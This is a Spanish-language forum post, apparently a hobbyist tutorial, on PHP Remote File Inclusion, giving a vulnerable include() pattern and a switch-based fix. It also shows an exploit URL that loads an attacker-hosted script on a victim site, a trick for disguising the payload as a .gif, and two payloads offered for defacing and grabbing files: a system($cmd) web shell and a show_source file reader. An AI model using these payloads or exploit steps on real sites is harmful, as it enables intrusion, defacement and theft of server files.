por lo que veo, hhay poca info de esta vuln... fui a buscar y encontré esto y casi nada más, así que les dejo un texto que hice. Tal vez les sirva.
-----------------
Remote File InclusionSe llama así (Inclusión Remota de Archivos) a una técnica que se usa generalmente en páginas webs. Esto es, la inclusión de un archivo en el servidor por medio de una vulnerabilidad en la web, la cual es producto de un error del programador.
Ahora bien, ¿cómo hacemos para explotar esta vulnerabilidad?. Para saber si una página es vulnerable a este bug, tendremos que buscar las variables que se pasan por el método GET (prefiero no explicar qué es para que todo el que no lo sepa, busque y pueda adquirir más conocimientos). Por ejemplo, en el buscador google, cuando buscamos algo y damos click en Búsqueda, nos muestra los resultados y en la barra de direcciones vemos algo como esto:
www.google.com.ar/search?hl=es&ie=UTF-8&q=aqui+la+busqueda&meta=
Todas esas variables (hl, ie, q, meta) son las que se pasan por el método GET. De esta manera podemos identificar las variables que nos permiten hacer file inclution. En este artículo se van a dar ejemplos para explotar esta vulnerabilidad pero con códigos en php.
Incluyendo archivos en páginas en PHPLo que viene a continuación se puede aplicar en distintos lenguajes (asp, php, etc) pero los códigos con los que se ejemplificará estarán en php.
Como el nombre lo dice, nos sirve para incluir archivos en determinado servidor. Entonces, para incluir algo, buscaremos variables pasados por GET que se refieran a lo que incluye la página.
Por ejemplo, una página que tenga el código siguiente sería vulnerable:
<?php
include($page);
?>
Al tener este código, la variable page no tiene ningún tipo de filtro. Es decir, se toma la variable page pero definida en cualquier lugar, lo cual permite que la definamos nosotros y que incluyamos cualquier página. Ahora bien, ¿Cómo hago para solucionar este error?. Hay diferentes formas de solucionar este problema. La forma que yo uso se basa en un switch de una variable, y para cada valor que obtenga la variable, se incluye otra página. Pero el secreto está en que no incluyo esa variable
si no la que defino en cada case:
<?php
switch ($page) {
case downloads;
$contenido="downloads.php";
break;
case contacto;
$contenido="contacto.php";
break;
case ejemplo;
$contenido="otros.php";
break;
default; /* SI NO DEFINO LA VARIABLE PAGE O SI EL VALOR SOLICITADO NO ESTA EN EL CASE, ENTONCES INCLUYO EL HOME */
$contenido="home.php";
break;
}
include ($contenido);
?>
Ahora, para explotar esta vulnerabilidad solo tendríamos que definir a la variable page por GET para que incluya el archivo que queramos. Por ejemplo:
www.victima.com/index.php?page=http://webdelatacante.com/exploit.php
Ahora bien, PHP se ejecuta en el servidor de la página. Si nosotros llamamos a una página en php desde la web víctima, la página nos mostrará los resultados pero del código ejecutado en el servidor del atacante. Para que esto no suceda y para que podamos obtener la información que queramos, debemos cambiar la extensión del archivo y ponerle extensión .gif . Después lo abrimos con un editor de texto y ponemos el código que queremos que se ejecute. De esta manera, estaremos ejecutando el script pero en el servidor de la víctima.
Algunos códigos útiles
Acá les dejo algunos códigos que les pueden servir a la hora de querer hacer un defaced, conseguir archivos, mirar códigos, etc.
<?
/* Este código sirve para ejecutar comandos en el servidor de la web. Esto se hace mediante la siguiente función, que abre la shell y ejecuta el comando que se define por la variable cmd. En este caso es GET para que se pueda definir por la barra de direcciones. También es importante destacar que solo funciona si PHP está configurado con safe_mode OFF*/
$cmd=$_GET[cmd];
system($cmd);
?>
<?
/* Este archivo muestra el código fuente del archivo que se pasa por el método GET, mediante la variable file. */
$file=$_GET[file];
show_source($file);
?>
Salu2
P.D: sepan disculparme si es spam... en caso de que sea así, borren el post.